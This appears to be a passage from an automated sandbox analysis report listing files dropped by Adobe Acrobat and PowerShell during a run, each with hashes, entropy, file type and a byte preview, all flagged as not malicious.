SHA-512:	21682E7772FDD21DE9771B69B0AF3CA0DB82298CCBE85FA6EF6B6709E0E564ADB49949887635C412683A81E84AC10564AA102FAF889DB4C5309BC0AE70DD427B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"6813333c-abfe-4d92-90bb-af0b4fc4011a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696563931,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.141134893333937
Encrypted:	false
SSDEEP:	24:YYQQAaHG1ay+kPCWHDr8+vCz9By0JO2SU2Pq2LSmzrcWjHSpPj0S/5R9z7uIvOG:YYABHDHAvHgzrcoHI7r9zxb
MD5:	C0F126B31B468198BF2A25799F99799B
SHA1:	E39A025C7CA16D6189A1B1B310E8AE6AF5E7DDB6
SHA-256:	96A6BF9885882D783DE8F67C9DCF118802A32AABE22576E07E58232C998B7DD3
SHA-512:	289B36325625BCF3B5ABD977DC9476EA5AB2C08971B0B12131741B24814167665F1439EBB76C66E3ACFEC5AEBC16B732F1BE9AD745D810E51C545634C7F44E82
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"174d8c71c5e7e945f221ed86865f863b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736517913000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1a9d6efe98f0700a554961a199ab663a","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736517913000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2d16dafe4de3d115362cb3e4ea2ce0f7","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736517913000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"cefc3c3c4b44450ad9696babcc32bfc1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736517913000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0f08d9b4e5a50b833a7d14de60b53383","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736517913000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bcf3b5f210ce94189f6e989b1e3b2448","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.452951520356901
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds0lc:lNVmsw3SHtbDbPe0K3+fDZdo
MD5:	0015C567AD44C96ECFF2F831EA740105
SHA1:	B0A89037907DFF370A6AC645A97492E1548871E1
SHA-256:	BE2B19306F6E51454A1EDCD32EFDA5D8CE14543168FA6EEB7FBF9ADE3ED4BFE5
SHA-512:	0E286E8185954BFBB515DAA2F19BD2CCD0B4DA7BBB03174B21CCB1338DA57E0AAE97C412FE34C009EF218229898A8B33400557D635CF7E3DF79FCB140765158F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9554619628060752
Encrypted:	false
SSDEEP:	48:7M+rvrBd6dHtbGIbPe0K3+fDy2dsReqFl2GL7mst:7b3SHtbDbPe0K3+fDZdpKVmst
MD5:	17E8DD4FB441FC9A49EDCD7334CC8FAC
SHA1:	4F1AC06E86D6D79FF29061EC66CA1C90E2157E2F
SHA-256:	01BF097F587C0423E022121C50B30F618928C45C977346D5062FF81906D76BA5
SHA-512:	B395B8041A7CFB3C4B6E475468AE6D82C486A3C4805B1B8C7AC9E645806B2F2C193571AFC0DFA49BE03457B88C6DC4094D7C5F90A80CBDAD7023D4634B509480
Malicious:	false
Preview:	.... .c......oh.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg3gS/0xT4MmNYecRs78ku+lUqnDbauzYyu:6a6TZ44ADE3gSsxecRsju+lLDbaCK
MD5:	DE8A259ED89858CEF96FDA16572615D6
SHA1:	20841A48D920F49BCEB309246E4FB4C906D60DFF
SHA-256:	C8E8B8C0BF1BB6362AE5F8960854FC4D586B8BF17C274961FF5EC145931F982B
SHA-512:	E6536A7F178B8A8994609D38AE38E17E97EE2396EF31F54D029CA36DFBA829F4636ED6FAB039B6DBACCE48E43CFD70A1972A90639AA86D810A0AD642179C1FF0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb7669.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4985264301455885
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl0QNUKH:Qw946cPbiOxDlbYnuRK+bCB
MD5:	7C97823C2FAF78D9FC1F752537612945
SHA1:	3744A76345F461913536D79D5394B245FAD7D14E
SHA-256:	DA608C2B6E8C7AC6CF73BC13597764FFD8ACDFDE80B7DE5C1476B8295BECA6DF
SHA-512:	FD9089AB7F7AE301664288E722F367B56BFD314A71AC13DEBC37A33A1B89E13053DF010BF1D265EDDBC6AF6024C67028A0371B80981DE457E8A845A07727823B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.9.:.0.5.:.1.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0azrvfm1.ddn.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgi0xtgr.hpf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91s4bmam_1pe1rkn_8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9xf3xkt_1pe1rkr_8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 09-05-09-695.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.345676048394744
Encrypted:	false
SSDEEP:	384:noedW02/x+diAo6kDFUtGcxcIH6rXa6A2h/pjr5OsiJa4MO+uxLJ0T0tMnl4c/We:80m
MD5:	45423BD8D536AE1916165CF25B57459B
SHA1:	ED827C3DFD85722ED777D59B96376525252C922B
SHA-256:	DA48C37518410C2E66D32F15657044B4E13468C2A24D312FC7510A5338C5738E
SHA-512:	E538FA37F08760001666C67735833E19CB18203B3A0912241D06A5F174C7CCE2DCEEF681AB875B956F55D658D6C029469A273968F84C2EE16A64618EE8FFD295
Malicious:	false
Preview:	SessionID=d0728681-3cd0-4353-a33c-06d187d3f36f.1736517909709 Timestamp=2025-01-10T09:05:09:709-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d0728681-3cd0-4353-a33c-06d187d3f36f.1736517909709 Timestamp=2025-01-10T09:05:09:710-0500 ThreadID=7984 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d0728681-3cd0-4353-a33c-06d187d3f36f.1736517909709 Timestamp=2025-01-10T09:05:09:710-0500 ThreadID=7984 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d0728681-3cd0-4353-a33c-06d187d3f36f.1736517909709 Timestamp=2025-01-10T09:05:09:710-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d0728681-3cd0-4353-a33c-06d187d3f36f.1736517909709 Timestamp=2025-01-10T09:05:09:710-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.409446628771153
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gROE:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRf
MD5:	FE07D64CFFB0EEF20B6E11F50EB85C09
SHA1:	C2A1C81AB6290A09709712847AD62B7FA68741E7
SHA-256:	83F326CD8148366C070FC7D30BB5DC566CC2BD355E431E60EC2C231A8138E8C4
SHA-512:	1F4C6CCE89C41E63CA0F14073154A000F454484322EA35E8F183035C31021D9F1F1A416D0742BBBD7CC32EFFB6F015D02B7FE99C14207895F51F605F773F23A7
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\16b1af79-0749-48db-8535-cb91c25be65a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\1fa135c5-8907-4cca-b0c9-c9dc0fbbf34d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\70141b8a-f6ea-471e-9a2b-eedf0f1e5100.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a2606d69-c468-405c-afde-e22b73ce2b17.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
